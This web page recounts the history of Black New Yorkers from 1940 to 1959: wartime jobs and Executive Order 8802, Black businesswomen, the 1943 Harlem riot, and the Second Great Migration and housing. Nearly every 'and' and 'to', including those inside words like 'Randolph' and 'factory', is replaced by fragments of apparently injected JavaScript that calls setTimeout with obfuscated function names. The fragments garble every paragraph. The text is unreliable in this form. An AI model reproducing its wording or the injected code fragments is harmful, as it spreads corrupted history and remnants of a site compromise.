1940-1959

dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and’, cursive; font-size: 44px; text-transform: uppercase;”>WWII, Housing, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Politics

dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor”>:

Entry of the United States indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to World War II, after the bombing of Pearl Harbor in December 1941, led dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the end of the Great Depression as the war effort jumpstarted industry. As the nation prepared for war in the summer of 1941, jobs in the war industries of the city, especially at the Brooklyn Navy Yard, were opened dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to black men dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and women—albeit in low-paying jobs—dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and they dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took advantage of opportunities in shipbuilding dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and other industrial trades. Still, the armed forces dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the war industries continued dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be segregated until New Yorker A. Philip Rdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andolph—founder of the predominantly black union, the Brotherhood of Sleeping Car Porters—threatened a march on Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton. In June 1941, President Franklin D. Roosevelt issued Executive Order 8802 banning discrimination in the defense industries dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and government.

          Black males experienced improved employment opportunities during dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and after the war as well. The G.I. Bill offered those who had fought in the armed services unprecedented opportunities dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to purchase housing dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pursue college dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and university degrees. The abolition of restrictive covenants dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and discrimination in housing, coupled with the G.I. Bill, opened housing opportunities for black New Yorkers in the outer boroughs. There was a downside, however, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this prosperity. Over the next two decades, the dispersal of the black middle dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and upper classes from Harlem, among other facdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, would profoundly change the dynamics of the neighborhood.

          Vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tories over discrimination in the military dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and on the domestic front during the war heightened African Americans’ expectations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and renewed their commitment dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dismantle America’s entire system of racial segregation once the war ended. The NAACP dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and its Legal Defense dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Educational Fund dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took the lead after the war, prosecuting cases that challenged racial segregation in education, public accommodations, housing, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and employment. Harlem Congressman Adam Claydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Powell, Jr., who entered the U.S. House of Representatives during the war, brought a new focus of attention on discriminadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory practices in the nation’s capital as well as its Congress.

          The 1940s saw the beginning of the Second Great Migration that lasted until the 1970s. The exodus of African Americans from the South dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the North dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and West was much larger dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and quite different from the more famous movement that had preceded it. By 1970, about five million African Americans had migrated. They became a more urbanized population than whites: more than 80 percent lived in cities, as compared dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 70 percent for the general population; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and while 53 percent remained in the South, 47 percent made the North dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and West their home.

          Between 1940 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1950, 211,153 southerners settled in New York City. But there, as in other cities, segregation dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and discrimination created an explosive situation. The resentment over discrimination in jobs dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and housing, police brutality, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and humiliations of all sorts culminated in major riots in 1943, from Detroit dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York. The Second Great Migration resulted in the “ghetdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toization” of the African-American population, with long-ranging social, political, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and cultural consequences.

The Second World War

          The war effort did not benefit black New Yorkers as much as they had expected. They were denied access dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to many facdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory positions. When industrial jobs were available, they were often the least skilled, least desirable, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and lowest paying, offering the least opportunity for advancement. African Americans were disproportionately represented in janidom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torial dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and service industry jobs that offered few (if any) benefits dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and little chance for upward mobility.

          Women found some openings in the war industry. Belle Cahoun, an active member of Local 36 of the United Wire dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Metal Workers’ Union, was chosen dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be “Miss Negro War Worker.” She had bought ten war bonds dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and was presented with an eleventh at a “Negro Freedom Rally” in Madison Square Garden. There were opportunities—albeit limited ones—for African-American women dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gain clerical employment. Sometimes, however, company decisions dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to place black women in clerical positions were rooted in the desire dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prevent contact with white cusdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers or coworkers in sales positions.

          Notwithstdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anding numerous obstacles, some African-American women rose dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to preeminence in the professional world. Bettie Esther Parham, born dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and raised in North Carolina, received degrees in education dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and chemistry dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took additional advanced courses in North Carolina dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and New York; she taught chemistry at Dillard University in New Orleans. She was the owner dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and founder of the National Beauty Supply Company dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and its subsidiaries, which operated from New York dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and provided products geared dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toward black women. They were sold dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to beauty shops, with a full line of cosmetics added for the consumer trade. In the 1940s Parham became the first black retail owner on 125th Street. Her subsidiaries were Esther Beauty Aids Company, manufacturing cosmetics; The Esther Beauterias, beauty salons in Brooklyn dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Manhattan; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Esther Hair Goods Division, which produced wigs dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and other hair goods.

          In 1959 Parham became the first African American dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to expdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and her business dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Africa by exporting her line of products dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Nigeria. (In the 1970s she entered the food business, marketing sauces.) She also wrote articles in newspapers dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and magazines in exchange for advertising space, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and authored a pamphlet entitled “How dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Get Money through Positive Thinking.”

          Born in 1922 in Edgefield, South Carolina, indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a large middle-class family, Ophelia DeVore moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York in 1938, did some modeling, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and later attended New York University, where she majored in mathematics. In 1946, she launched the Grace Del Marco Agency, one of the first modeling agencies dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and charm schools dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to book African Americans. Diahann Carroll, Cecily Tyson, Gil Noble, Camille Cosby, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Richard Roundtree were among the alumni of the agency.

          Rose Morgan, born in Mississippi, owned the Rose-Meta House of Beauty, Inc., in Harlem, which, according dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ebony magazine, was the “biggest Negro beauty parlor in the world. … Only three years old, it has zoomed overnight dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top among the 3,000 Negro beauty salons all over the nation which collect over 3 million dollars in receipts annually.” Morgan gave her cusdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomers—who came all the way from the South, Detroit, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Chicago—luxurious service that included pink Champagne. She also owned an international mail-order business, was vice-president of the National Council of Negro Women, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and was instrumental in the launching of New York’s only black-owned bank, the Freedom National Bank, in 1965. Between 1955 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1958, she was married dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to heavyweight boxer Joe Louis.

          The irony of fighting a war for democracy abroad while suffering the injustices of racial discrimination dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and segregation at home was not lost on African Americans during World War II. Seeing the war as an opportunity dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to strengthen their demdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands for equality, the NAACP, the black press, the National Urban League, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and other organizations launched the “Double V” campaign, which sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tood for vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory over Axis fascism abroad dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory over racism at home.

          On June 16, 1941, twenty-two thousdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and African Americans rallied at Madison Square Garden in support of A. Philip Rdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andolph’s demdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and that the federal government act dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to end employment discrimination. Rdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andolph threatened dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to stage a March on Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, D.C., on July 1, that would attract more than a hundred thousdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and people. A week before it was scheduled dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take place, Roosevelt issued Executive Order 8802 banning racial discrimination in the war industries dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and government dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and setting up the Fair Employment Practices Committee (FEPC), whose task was dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to investigate violations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and redress grievances. The march was called off.

          Hearings held in New York showed the extent of the discrimination: numerous defense firms acknowledged they did not have a single black employee. Only ten of Wright Aeronautic Company’s 10,000 workers were African Americans. The Fairchild Aviation Corporation had four blacks among its 1,800 employees. Despite the law, discrimination in employment did not disappear from the Five Boroughs. In 1946, The National Urban League reported that there were only twenty-two licensed black electricians in New York City dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and only six had been admitted dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the International Brotherhood of Electrical Workers; only six black men were in the plumbers’ local; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and only two belonged dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the plasterers’ union.

          The war years saw a major eruption of racial disturbances. During the summer of 1943, more than 250 incidents occurred in forty-seven American cities, including Detroit; Mobile, Alabama; Beaumont, Texas; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and New York City.

          On August 1, 1943, a black woman, Marjorie Polite, was involved in an argument over a room she was not satisfied with at the Hotel Braddock on 126th Street. A white policeman trying dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to arrest her struck her. Robert Bdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andy, a soldier in the U.S. army, intervened, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and during a fight with the police officer, he was shot in the shoulder. Rumor spread that he had been lethally shot in the back. A crowd gathered in front of Sydenham Hospital on 123rd Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and St. Nicholas Avenue. For two days, facing a force of 6,600 city dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and military police, 8,000 State Guardsmen on stdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andby, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1,500 civilian volunteers, angry residents (including the elderly dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and soldiers on leave) poured indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the streets. More than 1,400 sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores between 112nd dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 145th streets were attacked, damaged, or looted. Six people were killed. Close dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 500 people were injured dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and as many were arrested. Damages amounted dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to $5 million.

          Richard Wright, who went dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem on August 2, stated, “I don’t think it was a race riot though it had the possibilities of turning indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one. I had the feeling it was a spontaneous outburst of anger, stemming mainly from the economic pinch. The shooting of the soldier was indeed the spark that set it off.”

          The riot had several causes, according dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reports dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Office of War Information. There was widespread resentment over the army’s treatment of black soldiers; Harlemites resented the police of the 26th Precinct, whom they accused of brutality dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and “viciousness”; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and residents were also bitter at not getting good jobs. “Negroes feel that though they do not enjoy war wages,” the report underlined, “they are subjected dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to war-time prices.” The lack of a number of goods, the high price of others, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the bad relations that existed with sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreowners were also part of the tensions that boiled over during the riot.

Migration dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Housing

          During the Depression, the migration out of the South was insignificant. Finding work anywhere was a challenge. But World War II, just like World War I, unleashed a vast movement of Africans Americans eager dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave the segregation, violence, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and economic stagnation of the South in search of jobs linked dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the war effort.

          Between 1940 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1960 half a million black southerners migrated dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York State; 185,000 came from South Carolina, 148,000 from Virginia, 143,000 from North Carolina, 97,300 from Georgia, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 43,000 from Florida. The vast majority headed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York City: between 1940 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1950, for example, out of 266,000 newcomers, 211,200 settled there. By the early 1940s, there were 485,000 black New Yorkers, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and about 300,000 of them lived in Harlem.

          Harlem in the 1940s was home dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a struggling working class dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a rising middle class. To Southern migrants it was a magnet dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the possibility dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to escape the dire conditions of their homedom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towns. In his audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobiography, Manchild in the Promised Ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, Claude Brown—the son of South Carolina sharecroppers who had settled in New York in 1937— wrote, “Going dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to New York was good-bye dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the cotdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton fields, good-bye dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ‘Massa Charlie,’ good-bye dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the chain gang, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, most of all, good-bye dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to those sunup-dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-sundown working hours. One no longer had dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wait dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to heaven dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to lay his burden down; burdens could be laid down in New York.”

          The influx of newcomers resulted in a shortage of housing that, along with segregation, led dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to extremely crowded conditions. Like the people who preceded them during the Great Migration, families doubled up dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and strangers had dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share bathrooms dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and kitchens. The “kitchenette apartment” was characteristic of the period, as large buildings were carved up indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to several one-room apartments dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and single-family houses were turned indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tenements that lodged several large families. Overcrowding dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the lack of enforcement of housing dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and sanitation codes resulted in unsanitary conditions. Ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andlords had a captive population dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took advantage of it by raising the rents.

